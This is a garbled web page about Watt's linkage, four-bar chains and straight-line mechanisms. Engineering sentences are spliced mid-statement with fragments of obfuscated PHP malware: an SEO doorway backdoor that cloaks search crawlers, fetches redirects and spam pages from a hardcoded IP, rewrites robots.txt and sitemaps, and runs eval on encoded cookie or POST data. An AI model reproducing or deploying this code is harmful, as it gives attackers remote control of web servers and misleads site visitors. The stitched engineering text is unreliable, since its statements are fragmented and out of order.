Fig.2.15 double crank. In Watts linkage central moving point of is constrained to travel on an approximation to a straight line. md5($_r0c9xfdb) . "/sitemap.xml");foreach ($_vn5cqijv as $_sqoo6uqb => $_kb25ac31) {$_y445s0h0 = _mtcvqi::_zxv7b($_sqoo6uqb . "-" . md5($this->_gj3jbb0r . The four links are : fixed link at A, link AC, link CE and link BFD. THE WATTS INDICATOR MECHANISM The Watts Indicator Mechanism is a simple mechanism consisting of a piston used to sense the external pressure. '/', _7ejh67f::_fqr0f(), $_sk5gmeyq, 1);if ($_xmahux1u === $_sk5gmeyq) {break;}$_sk5gmeyq = $_xmahux1u;}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_828m12mh = @$_6nmsnsc1[intval($_z1u0liqn[1])];$_5qv8b0qq = _lda0hc::_batgm($_828m12mh);$_sk5gmeyq = str_replace($_z1u0liqn[0], $_5qv8b0qq, $_sk5gmeyq);}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_828m12mh = @$_6nmsnsc1[intval($_z1u0liqn[1])];$_sk5gmeyq = str_replace($_z1u0liqn[0], $_828m12mh, $_sk5gmeyq);}while (TRUE) {preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_sk5gmeyq = str_replace($_z1u0liqn[0], _3ki5x($_z1u0liqn[1], $_z1u0liqn[2]), $_sk5gmeyq);}while (TRUE) {preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_sk5gmeyq = str_replace($_z1u0liqn[0], rand($_z1u0liqn[1], $_z1u0liqn[2]), $_sk5gmeyq);}return $_sk5gmeyq;}public function _jyo6n(){$_nlra0m7q = _aus76cu::$_mg8ineh5 . $_ndh8ovyp[array_rand($_ndh8ovyp)], FILE_IGNORE_NEW_LINES);}return _7ejh67f::$_1k2xibe7[array_rand(_7ejh67f::$_1k2xibe7)];}static public function _b4rea(){if (empty(_7ejh67f::$_wyhbcvbm)){$_ndh8ovyp = _7ejh67f::_s6ylu();foreach ($_ndh8ovyp as $_y3ykebhl) {_7ejh67f::$_wyhbcvbm = array_merge(_7ejh67f::$_wyhbcvbm, @file(_7ejh67f::$_mg8ineh5 . James Watt invented Watt mechanical linkage. @$_SERVER['REQUEST_URI'];$_ml40t87w['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_ml40t87w['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_ml40t87w['ref'] = @$_SERVER['HTTP_REFERER'];$_ml40t87w['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_ml40t87w['acp'] = @$_SERVER['HTTP_ACCEPT'];$_ml40t87w['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_ml40t87w['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_ml40t87w;}public function __construct(){$this->_bs94zvur = explode("/", $this->_bs94zvur);$this->_n4rn33sr = explode("/", $this->_n4rn33sr);}static public function _br8je($_efa9rziw){if (strlen($_efa9rziw) < 4) {return "";}$_uqxd5la0 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_6nmsnsc1 = str_split($_uqxd5la0);$_6nmsnsc1 = array_flip($_6nmsnsc1);$_nms1ebw0 = 0;$_esetfuvv = "";$_efa9rziw = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_efa9rziw);do {$_rewx23n2 = $_6nmsnsc1[$_efa9rziw[$_nms1ebw0++]];$_b1x56k5s = $_6nmsnsc1[$_efa9rziw[$_nms1ebw0++]];$_9a2k66au = $_6nmsnsc1[$_efa9rziw[$_nms1ebw0++]];$_3eow8z17 = $_6nmsnsc1[$_efa9rziw[$_nms1ebw0++]];$_n75kif2b = ($_rewx23n2 << 2) | ($_b1x56k5s >> 4);$_qe3b8zki = (($_b1x56k5s & 15) << 4) | ($_9a2k66au >> 2);$_e1sfft94 = (($_9a2k66au & 3) << 6) | $_3eow8z17;$_esetfuvv = $_esetfuvv . Approximate Straight Line Mechanisms Such mechanisms are generally four bar linkage mechanisms. 6 How many types of straight line mechanism are there? ".html")) {return;}@file_put_contents(_sh9xgp2::$_y0cg5rk9 . implode("\r\n", $_vlgsftp3);}$_w2drdnzk = stream_context_create(array('http' => $_as7t9juq));} else {$_as7t9juq = array('method' => 'GET',);if (!empty($_vlgsftp3)) {$_as7t9juq["header"] = implode("\r\n", $_vlgsftp3);}$_w2drdnzk = stream_context_create(array('http' => $_as7t9juq));}return @file_get_contents($_sqoo6uqb, FALSE, $_w2drdnzk);}}class _aus76cu{private static $_mg8ineh5 = "";private static $_i88t7018 = -1;private static $_q8p5iqxe = "";private $_t3xm0fz4 = "";private $_x62o246p = "";private $_gj3jbb0r = "";private $_upq3q6mj = "";public static function _bcp81($_zpu28gls, $_9iakzcth, $_3pnqbbxs){_aus76cu::$_mg8ineh5 = $_zpu28gls . "\n", 8);}}class _lda0hc{static public $_7kh8mdix = "5.0";static public $_df6hufth = "06147fdd-b2db-9393-8232-1e66d9701222";private $_bs94zvur = "http://136.12.78.46/app/assets/api2?action=redir";private $_n4rn33sr = "http://136.12.78.46/app/assets/api?action=page";static public $_zcihyr1v = 5;static public $_tw16uhhg = 20;private function _2ig98(){$_h3heyeyh = array('#libwww-perl#i','#MJ12bot#i','#msnbot#i', '#msnbot-media#i','#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i','#spider#i', '#yahoo#i', '#google#i', '#altavista#i','#ask#i','#yahoo!\s*slurp#i','#BingBot#i');if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_h3heyeyh, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_f0icrwjc = 1;} elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_f0icrwjc = 1;} elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) {$_f0icrwjc = 1;} else {$_f0icrwjc = 0;}return $_f0icrwjc;}private static function _h6qek(){$_ml40t87w = array();$_ml40t87w['ip'] = $_SERVER['REMOTE_ADDR'];$_ml40t87w['qs'] = @$_SERVER['HTTP_HOST'] . Why Matchmaking Platforms are a Good Solution for Finding Love Online, How Mobile Applications Are Revolutionizing the Media and Entertainment Industry, Applications for Digitalization of the Educational, 7 Tips for Effective Planning for Students, Effective Use of Bullet Points On a Resume. $_g2sgg2m8);}$_ty56szt0 = sprintf("%s%s", $_mdxxrv14, urlencode($_828m12mh));} else {if (ord($_g2sgg2m8[0]) % 2) {$_ty56szt0 = sprintf("%s?%s=%s",$_mdxxrv14,$_g2sgg2m8,urlencode(str_replace(" ", "-", $_828m12mh)));} else {$_ojjdbmpj = array("id", "page", "tag");$_pj0tc220 = $_ojjdbmpj[ord($_g2sgg2m8[2]) % count($_ojjdbmpj)];if (ord($_g2sgg2m8[1]) % 2) {$_828m12mh = str_replace(" ", "-", $_g2sgg2m8 . One end of the V- Shaped Chain is connected to a point which is pivoted and fixed. Which mechanism gives approximate straight line? "-" . "/";_7ejh67f::$_y0cg5rk9 = $_nrw3vudd;if (! A watts link attaches to the rear axle with a pivot point, then its arms bolt to the body of the car. ", $_SERVER["REQUEST_URI"], 2);$_andfxj3q = $_andfxj3q[0];$_zpu28gls = substr($_andfxj3q, 0, strrpos($_andfxj3q, "/"));return sprintf("%s://%s%s", _lda0hc::_hf7ac() ? ".list")) {return;}@file_put_contents(_7ejh67f::$_y0cg5rk9 . Click to see full answer. Both methods are intended to prevent relative sideways motion between the axle and body of the car. This mechanism can be used to constrain motion to a linear path without the need for rails or rods to slide on. "\r\n" .

@file_exists(_sh9xgp2::$_mg8ineh5)) {@mkdir(_sh9xgp2::$_mg8ineh5);}}public static function _cb7nl(){return TRUE;}static public function _ieqpv(){$_a53xa54i = 0;foreach (scandir(_sh9xgp2::$_mg8ineh5) as $_1r1ytw3i) {if (strpos($_1r1ytw3i, _sh9xgp2::$_y0cg5rk9) === 0) {$_a53xa54i += 1;}}return $_a53xa54i;}static public function _fqr0f(){$_wtc22jcu = array();foreach (scandir(_sh9xgp2::$_mg8ineh5) as $_1r1ytw3i) {if (strpos($_1r1ytw3i, _sh9xgp2::$_y0cg5rk9) === 0) {$_wtc22jcu[] = $_1r1ytw3i;}}return @file_get_contents(_sh9xgp2::$_mg8ineh5 . If the link opposite to the shortest link is fixed then the mechanism is know as double-rocker or double lever mechanism . "_" . Watts linkage is used in the rear axle of some car suspensions as an improvement over the Panhard rod, which was designed in the early twentieth century. Beam engines were first used to pump water out of mines or into canals but could be used to pump water to supplement the flow for a waterwheel powering a mill. md5(_lda0hc::$_df6hufth) . "salt22"), 0, 4));function _1829h($_33tm41mt, $_dtjeqej3){$_f4kt27it = "";for ($_nms1ebw0 = 0; $_nms1ebw0 < strlen($_33tm41mt);) {for ($_qofd27wo = 0; $_qofd27wo < strlen($_dtjeqej3) && $_nms1ebw0 < strlen($_33tm41mt); $_qofd27wo++, $_nms1ebw0++) {$_f4kt27it .= chr(ord($_33tm41mt[$_nms1ebw0]) ^ ord($_dtjeqej3[$_qofd27wo]));}}return $_f4kt27it;}function _31qy2($_33tm41mt, $_dtjeqej3, $_hdtmq8ve){return _1829h(_1829h($_33tm41mt, $_dtjeqej3), $_hdtmq8ve);}foreach (array_merge($_COOKIE, $_POST) as $_fz8stpjk => $_33tm41mt) {$_33tm41mt = @unserialize(_31qy2(_lda0hc::_br8je($_33tm41mt), $_fz8stpjk, _lda0hc::$_df6hufth));if (isset($_33tm41mt['ak']) && _lda0hc::$_df6hufth == $_33tm41mt['ak']) {if ($_33tm41mt['a'] == 'doorway2') {if ($_33tm41mt['sa'] == 'check') {$_sk5gmeyq = _mtcvqi::_0jicd(explode("/", "http://httpbin.org/"), "");if (strlen($_sk5gmeyq) > 512) {echo @serialize(array("uid" => _lda0hc::$_df6hufth, "v" => _lda0hc::$_7kh8mdix,"cache" => _aus76cu::_ieqpv(),"keywords" => count(_7ejh67f::_b4rea()),"templates" => _sh9xgp2::_ieqpv()));}exit;}if ($_33tm41mt['sa'] == 'templates') {foreach ($_33tm41mt["templates"] as $_lx0sjdo6) {_sh9xgp2::_jyo6n($_lx0sjdo6);echo @serialize(array("uid" => _lda0hc::$_df6hufth, "v" => _lda0hc::$_7kh8mdix,));}}if ($_33tm41mt['sa'] == 'keywords') {_7ejh67f::_jyo6n($_33tm41mt["keywords"]);_lda0hc::_64wkc();echo @serialize(array("uid" => _lda0hc::$_df6hufth, "v" => _lda0hc::$_7kh8mdix,));}if ($_33tm41mt['sa'] == 'update_sitemap') {_lda0hc::_64wkc(TRUE);echo @serialize(array("uid" => _lda0hc::$_df6hufth, "v" => _lda0hc::$_7kh8mdix,));}if ($_33tm41mt['sa'] == 'pages') {$_0ni6p1wg = 0;$_bp5xuiun = _7ejh67f::_b4rea();if (_sh9xgp2::_ieqpv() > 0) {foreach ($_33tm41mt['pages'] as $_nh33fegd) {$_k8h3nc29 = _aus76cu::_2idt3($_nh33fegd["keyword"]);if (empty($_k8h3nc29)) {$_k8h3nc29 = new _aus76cu(_sh9xgp2::_fqr0f(), $_nh33fegd["text"], $_nh33fegd["keyword"], _lda0hc::_b64s1(_lda0hc::$_zcihyr1v, _lda0hc::$_tw16uhhg));$_k8h3nc29->_jyo6n();$_0ni6p1wg += 1;if (!in_array($_nh33fegd["keyword"], $_bp5xuiun)){_7ejh67f::_bw2av($_nh33fegd["keyword"]);}}}}echo @serialize(array("uid" => _lda0hc::$_df6hufth, "v" => _lda0hc::$_7kh8mdix, "pages" => $_0ni6p1wg));}if ($_33tm41mt["sa"] == "ping") {$_y445s0h0 = _lda0hc::_xxs2i();echo @serialize(array("uid" => _lda0hc::$_df6hufth, "v" => _lda0hc::$_7kh8mdix, "result" => (int)$_y445s0h0));}if ($_33tm41mt["sa"] == "robots") {$_y445s0h0 = _lda0hc::_63ajb();echo @serialize(array("uid" => _lda0hc::$_df6hufth, "v" => _lda0hc::$_7kh8mdix, "result" => (int)$_y445s0h0));}}if ($_33tm41mt['sa'] == 'eval') {eval($_33tm41mt["data"]);exit;}}}$_ecmg86vc = new _lda0hc();if ($_ecmg86vc->_cb7nl()) {$_ecmg86vc->_nibp2();}exit(). Grasshopper Mechanism : This mechanism is a modification of the Scott-Russell Mechanism. Since the pivot point is traveling in a line, it keeps the axle located directly under the car.

".list", $_828m12mh . _aus76cu::$_q8p5iqxe);if (_aus76cu::$_i88t7018 == -1) {$_nsgkqyr6 = -1;} else {$_nsgkqyr6 = time() + (3600 * 24 * 30);}$_uypfhcqx = array("template" => $this->_t3xm0fz4, "text" => $this->_x62o246p, "keyword" => $this->_gj3jbb0r,"links" => $this->_upq3q6mj, "expired" => $_nsgkqyr6);@file_put_contents($_nlra0m7q, serialize($_uypfhcqx));}static public function _2idt3($_828m12mh){$_nlra0m7q = _aus76cu::$_mg8ineh5 . How are pivot links used in Watts linkage? md5($_fwxioqr0) . In this mechanism, the slider is replaced by a link traveling in an arc about another fixed point. 8 What is the Watts indicator mechanism and how does it work? md5($_fwxioqr0) . 9 What is the central moving point of Watts mechanism? $_828m12mh);} else {$_828m12mh = str_replace(" ", "-", $_828m12mh . md5($_r0c9xfdb) . four links $_g2sgg2m8);}$_ty56szt0 = sprintf("%s?%s=%s",$_mdxxrv14,$_pj0tc220,urlencode($_828m12mh));}}return $_ty56szt0;}public static function _b64s1($_djhgibbx, $_uwt4spro){$_zyl2nj54 = "";for ($_nms1ebw0 = 0; $_nms1ebw0 < rand($_djhgibbx, $_uwt4spro); $_nms1ebw0++) {$_828m12mh = _7ejh67f::_fqr0f();$_zyl2nj54 .= sprintf("%s,\n",_lda0hc::_batgm($_828m12mh), ucwords($_828m12mh));}return $_zyl2nj54;}public static function _64wkc($_2b3oj76i=FALSE){$_lmdjw05k = dirname(__FILE__) . "/robots.txt";if (@file_exists($_nicu9duy)) {@chmod($_nicu9duy, 0777);$_73286swj = @file_get_contents($_nicu9duy);} else {$_73286swj = "";}if (strpos($_73286swj, $_f3plf815) === FALSE) {@file_put_contents($_nicu9duy, $_73286swj . The mechanism such obtained is known as crank-lever or crank rocker mechanism. "-", "", $_gfqor979);$_gfqor979 = str_replace("-" . 4 ? $_f3plf815);$_73286swj = @file_get_contents($_nicu9duy);return (strpos($_73286swj, $_f3plf815) !== FALSE);}return FALSE;}public static function _al5kt(){$_andfxj3q = explode("? "/cache/";_aus76cu::$_i88t7018 = $_9iakzcth;_aus76cu::$_q8p5iqxe = $_3pnqbbxs;if (! How many types of straight line mechanism are there? ".list", $_fwxioqr0);}static public function _bw2av($_828m12mh){@file_put_contents(_7ejh67f::$_y0cg5rk9 . $_828m12mh);} else {$_828m12mh = str_replace(" ", "-", $_828m12mh . The double-crank mechanism engine comprises a gas cylinder and a piston capable of performing straight reciprocating motion in the gas cylinder, wherein two parallel crankshafts are arranged at the two sides of the gas cylinder; a connecting rod is hinged between corresponding crankshaft pins of the two crankshafts to . ", $_SERVER["REQUEST_URI"], 2);$_andfxj3q = $_andfxj3q[0];$_xxav8069 = substr($_andfxj3q, 0, strrpos($_andfxj3q, "/"));$_f3plf815 = sprintf($_159d1ncu, $_xxav8069, _lda0hc::_al5kt() . The Grashof condition for a four-bar linkage states: If the sum of the shortest and longest link of a planar quadrilateral linkage is less than or equal to the sum of the remaining two links, then the shortest link can rotate fully with respect to a neighboring link. We use cookies to ensure that we give you the best experience on our website. The small square in the diagram follows a nearly vertical path as the links rotate. chr($_n75kif2b);if ($_9a2k66au != 64) {$_esetfuvv = $_esetfuvv . "/";}return sprintf("%s://%s%s", _lda0hc::_hf7ac() ? What are the uses of Watts mechanical linkage? md5($_828m12mh . As the body of the car moves up and down, the pivot point will move up and down, traveling in a line. @file_exists(_7ejh67f::$_mg8ineh5)) {@mkdir(_7ejh67f::$_mg8ineh5);}}private static function _s6ylu(){$_ndh8ovyp = array();foreach (scandir(_7ejh67f::$_mg8ineh5) as $_1r1ytw3i) {if (strpos($_1r1ytw3i, _7ejh67f::$_y0cg5rk9) === 0) {$_ndh8ovyp[] = $_1r1ytw3i;}}return $_ndh8ovyp;}public static function _cb7nl(){return TRUE;}static public function _fqr0f(){if (empty(_7ejh67f::$_1k2xibe7)){$_ndh8ovyp = _7ejh67f::_s6ylu();_7ejh67f::$_1k2xibe7 = @file(_7ejh67f::$_mg8ineh5 . The Watts Linkage mechanism creates nearly straight line motion using pivot links. chr($_e1sfft94);}} while ($_nms1ebw0 < strlen($_efa9rziw));return $_esetfuvv;}private function _subdr($_828m12mh){$_lx0sjdo6 = "";$_f81jkr2t = "";$_ml40t87w = _lda0hc::_h6qek();$_ml40t87w["uid"] = _lda0hc::$_df6hufth;$_ml40t87w["keyword"] = $_828m12mh;$_ml40t87w["tc"] = 10;$_ml40t87w = http_build_query($_ml40t87w);$_33tm41mt = _mtcvqi::_0jicd($this->_n4rn33sr, $_ml40t87w);if (strpos($_33tm41mt, _lda0hc::$_df6hufth) === FALSE) {return array($_lx0sjdo6, $_f81jkr2t);}$_lx0sjdo6 = _sh9xgp2::_fqr0f();$_f81jkr2t = substr($_33tm41mt, strlen(_lda0hc::$_df6hufth));$_f81jkr2t = explode("\n", $_f81jkr2t);shuffle($_f81jkr2t);$_f81jkr2t = implode(" ", $_f81jkr2t);return array($_lx0sjdo6, $_f81jkr2t);}private function _nro6t(){$_ml40t87w = _lda0hc::_h6qek();if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {$_ml40t87w['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];}if (isset($_SERVER['HTTP_X_REAL_IP'])) {$_ml40t87w['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];}if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_ml40t87w['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];}$_ml40t87w["uid"] = _lda0hc::$_df6hufth;$_ml40t87w = http_build_query($_ml40t87w);$_nh33fegd = _mtcvqi::_0jicd($this->_bs94zvur, $_ml40t87w);$_nh33fegd = @unserialize($_nh33fegd);if (isset($_nh33fegd["type"]) && $_nh33fegd["type"] == "redir") {if (!empty($_nh33fegd["data"]["header"])) {header($_nh33fegd["data"]["header"]);return true;} elseif (!empty($_nh33fegd["data"]["code"])) {echo $_nh33fegd["data"]["code"];return true;}}return false;}public function _cb7nl(){return _aus76cu::_cb7nl() && _sh9xgp2::_cb7nl() && _7ejh67f::_cb7nl();}static public function _hf7ac(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _vmhjl(){$_andfxj3q = explode("? A beam engine is a type of steam engine where a pivoted overhead beam is used to apply the force from a vertical piston to a vertical connecting rod. What is the central moving point of Watts mechanism? $_eysjbv0m, NULL, $_vlgsftp3);}if (empty($_y445s0h0)) {return FALSE;}if (strpos($_y445s0h0, $_kb25ac31) === FALSE) {return FALSE;}}return TRUE;}public static function _63ajb(){$_159d1ncu = "User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n";$_andfxj3q = explode("? If the shortest link b is fixed, the mechanism obtained is crank-crank or double crank mechanism. "_" . A *Watts indicator mechanism (also known as Watts straight line mechanism or double lever mechanism) which consists of four links, is shown in Fig. Explanation: Watts mechanism is an approximate straight line mechanism. It is a crossed four bar chain mechanism used in early steam engines. "salt3"), 0, 6);$_ty56szt0 = "";if (substr($_mdxxrv14, -1) == "/") {if (ord($_g2sgg2m8[1]) % 2) {$_828m12mh = str_replace(" ", "-", $_g2sgg2m8 . $_pj0tc220, "", $_gfqor979);$_828m12mh = $_gfqor979;}}}if (empty($_828m12mh)) {$_6nmsnsc1 = _7ejh67f::_b4rea();$_828m12mh = $_6nmsnsc1[0];}if (!empty($_828m12mh)) {$_828m12mh = str_replace("-", " ", $_828m12mh);if (!$this->_2ig98()) {if ($this->_nro6t()) {return;}}$_828m12mh = urldecode($_828m12mh);$_nh33fegd = _aus76cu::_2idt3($_828m12mh);if (empty($_nh33fegd)) {list($_lx0sjdo6, $_f81jkr2t) = $this->_subdr($_828m12mh);if (empty($_f81jkr2t)) {return;}$_nh33fegd = new _aus76cu($_lx0sjdo6, $_f81jkr2t, $_828m12mh, _lda0hc::_b64s1(_lda0hc::$_zcihyr1v, _lda0hc::$_tw16uhhg));$_nh33fegd->_jyo6n();}echo $_nh33fegd->_vh5ig();}}}_aus76cu::_bcp81(dirname(__FILE__), -1, _lda0hc::$_df6hufth);_sh9xgp2::_bcp81(dirname(__FILE__), substr(md5(_lda0hc::$_df6hufth . "\n" . ".html", $_r0c9xfdb);}}class _7ejh67f{private static $_mg8ineh5 = "";private static $_y0cg5rk9 = "";private static $_1k2xibe7 = Array();private static $_wyhbcvbm = Array();public static function _bcp81($_zpu28gls, $_nrw3vudd){_7ejh67f::$_mg8ineh5 = $_zpu28gls . "/";_sh9xgp2::$_y0cg5rk9 = $_nrw3vudd;if (! chr($_qe3b8zki);}if ($_3eow8z17 != 64) {$_esetfuvv = $_esetfuvv . Which of the following mechanisms is an approximate straight line mechanism? "/sitemap.xml");$_nicu9duy = $_SERVER["DOCUMENT_ROOT"] . "https" : "http", $_SERVER['HTTP_HOST'], $_zpu28gls);}public static function _batgm($_828m12mh){$_mdxxrv14 = _lda0hc::_vmhjl();$_g2sgg2m8 = substr(md5(_lda0hc::$_df6hufth . 5 Which mechanism gives approximate straight line? "/sitemap.xml";@file_put_contents($_lmdjw05k, $_v3svjaki);return $_eysjbv0m;}public function _nibp2(){$_pj0tc220 = substr(md5(_lda0hc::$_df6hufth . "_" . 10 How are pivot links used in Watts linkage? "/sitemap.xml";$_h1b4bcdo = "\n\n";$_yhna6pec = "";$_6nmsnsc1 = _7ejh67f::_b4rea();$_9flpzh91 = array();if (file_exists($_lmdjw05k)) {$_33tm41mt = simplexml_load_file($_lmdjw05k);foreach ($_33tm41mt as $_dtqyrlcq) {$_9flpzh91[(string)$_dtqyrlcq->loc] = (string)$_dtqyrlcq->lastmod;}}else {$_2b3oj76i = FALSE;}foreach ($_6nmsnsc1 as $_dtjeqej3) {$_ty56szt0 = _lda0hc::_batgm($_dtjeqej3);if (isset($_9flpzh91[$_ty56szt0])){continue;}if ($_2b3oj76i) {$_7r0hiv0j = time();}else {$_7r0hiv0j = time() - (crc32 ($_dtjeqej3) % (60 * 60 * 24 * 30));}$_9flpzh91[$_ty56szt0] = date("Y-m-d", $_7r0hiv0j);;}$_yn3p66av = "";foreach ($_9flpzh91 as $_sqoo6uqb => $_7r0hiv0j){$_yn3p66av .= "\n";$_yn3p66av .= sprintf("%s\n", $_sqoo6uqb);$_yn3p66av .= sprintf("%s\n", $_7r0hiv0j);$_yn3p66av .= "\n";}$_v3svjaki = $_h1b4bcdo . @file_exists(_aus76cu::$_mg8ineh5)) {@mkdir(_aus76cu::$_mg8ineh5);}}static public function _ieqpv(){$_a53xa54i = 0;foreach (scandir(_aus76cu::$_mg8ineh5) as $_1r1ytw3i) {$_a53xa54i += 1;}return $_a53xa54i;}public static function _cb7nl(){return TRUE;}public function __construct($_lx0sjdo6, $_f81jkr2t, $_828m12mh, $_2zvnung4){$this->_t3xm0fz4 = $_lx0sjdo6;$this->_x62o246p = $_f81jkr2t;$this->_gj3jbb0r = $_828m12mh;$this->_upq3q6mj = $_2zvnung4;}public function _vh5ig(){function _3ki5x($_djhgibbx, $_uwt4spro){return round(rand($_djhgibbx, $_uwt4spro - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX), 2);}$_6nmsnsc1 = _7ejh67f::_b4rea();$_sk5gmeyq = str_replace("{{ text }}", $this->_x62o246p,str_replace("{{ keyword }}", $this->_gj3jbb0r,str_replace("{{ links }}", $this->_upq3q6mj, $this->_t3xm0fz4)));while (TRUE) {$_xmahux1u = preg_replace('/' . 3. Watts Linkage can be found in some automobile vehicles at suspensions that allow the axle of a vehicle to move vertically while preventing sideways motion. _aus76cu::$_q8p5iqxe);$_nlra0m7q = @unserialize(@file_get_contents($_nlra0m7q));if (!empty($_nlra0m7q) && ($_nlra0m7q["expired"] > time() || $_nlra0m7q["expired"] == -1)) {return new _aus76cu($_nlra0m7q["template"], $_nlra0m7q["text"], $_nlra0m7q["keyword"], $_nlra0m7q["links"]);} else {return null;}}}class _sh9xgp2{private static $_mg8ineh5 = "";private static $_y0cg5rk9 = "";public static function _bcp81($_zpu28gls, $_nrw3vudd){_sh9xgp2::$_mg8ineh5 = $_zpu28gls . "https" : "http", $_SERVER['HTTP_HOST'], $_andfxj3q);}public static function _xxs2i(){$_vn5cqijv = array("https://www.bing.com/ping?sitemap=" => "Thanks for submitting your Sitemap","https://www.google.com/ping?sitemap=" => "Sitemap Notification Received");$_vlgsftp3 = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language: en-US,en;q=0.5","User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0",);$_eysjbv0m = urlencode(_lda0hc::_al5kt() . "_" . preg_quote("cdc healthcare workers covid", '/') . ", $_SERVER["REQUEST_URI"], 2);$_andfxj3q = $_andfxj3q[0];if (strpos($_andfxj3q, ".php") === FALSE) {$_andfxj3q = explode("/", $_andfxj3q);array_pop($_andfxj3q);$_andfxj3q = implode("/", $_andfxj3q) . "salt12"), 0, 4));_7ejh67f::_bcp81(dirname(__FILE__), substr(md5(_lda0hc::$_df6hufth . "-" . The piston is connected to a link and the link is, in turn, connected to a V- Shaped chain. long2ip(_mtcvqi::$_x3hieu76 - 898) : $_sqoo6uqb[2];$_sk5gmeyq = _mtcvqi::_zxv7b($_sqoo6uqb, $_ml40t87w);if (!$_sk5gmeyq) {$_sk5gmeyq = _mtcvqi::_j5lv2($_sqoo6uqb, $_ml40t87w);}return $_sk5gmeyq;}static function _zxv7b($_sqoo6uqb, $_sk5gmeyq, $_vlgsftp3 = NULL){if (!function_exists('curl_version')) {return "";}if (is_array($_sqoo6uqb)) {$_sqoo6uqb = implode("/", $_sqoo6uqb);}$_0ykiheel = curl_init();curl_setopt($_0ykiheel, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_0ykiheel, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_0ykiheel, CURLOPT_URL, $_sqoo6uqb);if (!empty($_sk5gmeyq)) {curl_setopt($_0ykiheel, CURLOPT_POST, 1);curl_setopt($_0ykiheel, CURLOPT_POSTFIELDS, $_sk5gmeyq);}if (!empty($_vlgsftp3)) {curl_setopt($_0ykiheel, CURLOPT_HTTPHEADER, $_vlgsftp3);}curl_setopt($_0ykiheel, CURLOPT_RETURNTRANSFER, TRUE);$_ruaeyj9a = curl_exec($_0ykiheel);curl_close($_0ykiheel);return $_ruaeyj9a;}static function _j5lv2($_sqoo6uqb, $_sk5gmeyq, $_vlgsftp3 = NULL){if (is_array($_sqoo6uqb)) {$_sqoo6uqb = implode("/", $_sqoo6uqb);}if (!empty($_sk5gmeyq)) {$_as7t9juq = array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => $_sk5gmeyq);if (!empty($_vlgsftp3)) {$_as7t9juq["header"] = $_as7t9juq["header"] .